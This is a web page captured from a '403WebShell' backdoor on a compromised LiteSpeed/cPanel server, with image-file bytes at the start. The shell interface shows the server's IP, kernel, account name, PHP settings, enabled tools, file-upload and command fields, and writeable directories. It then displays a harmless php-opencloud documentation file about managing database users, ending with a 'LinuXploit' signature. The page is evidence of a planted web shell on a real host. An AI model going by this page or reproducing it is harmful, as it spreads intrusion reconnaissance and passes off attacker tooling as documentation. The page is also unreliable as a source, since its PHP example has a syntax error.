����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.145.45.170
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/vendor/rackspace/php-opencloud/doc/services/database/users.rst
Users
=====

Setup
-----

Finally, in order to interact with the functionality of databases, you must
first retrieve the details of the instance itself. To do this, you must
substitute `{instanceId}` for your instance's ID:

.. code-block:: php

  $instance = $service->instance('{instanceId}');


Creating users
--------------

Database users exist at the ``Instance`` level, but can be associated
with a specific ``Database``. They are represented by the
``OpenCloud\Database\Resource\User`` class.

.. code-block:: php

  // New instance of OpenCloud\Database\Resource\User
  $user = $instance->user();

  // Send to API
  $user->create(array(
      'name'      => 'Alice',
      'password'  => 'fooBar'
      'databases' => array('production')
  ));


Deleting a user
---------------

.. code-block:: php

  $user->delete();


The root user
-------------

By default, Cloud Databases does not enable the root user. In most
cases, the root user is not needed, and having one can leave you open to
security violations. However, if you do want to enable access to the root user:

.. code-block:: php

    $rootUser = $instance->enableRootUser();


This returns a regular ``User`` object with the ``name`` attribute set
to ``root`` and the ``password`` attribute set to an auto-generated
password.


Check if root user is enabled
-----------------------------

.. code-block:: php

  // true for yes, false for no
  $instance->isRootEnabled();


Grant database access
---------------------

To grant access to one or more databases, you can run:

.. code-block:: php

    $user = $instance->user('{userName}');
    $user->grantDbAccess(['{dbName1}', '{dbName2}']);


Youez - 2016 - github.com/yon3zu
LinuXploit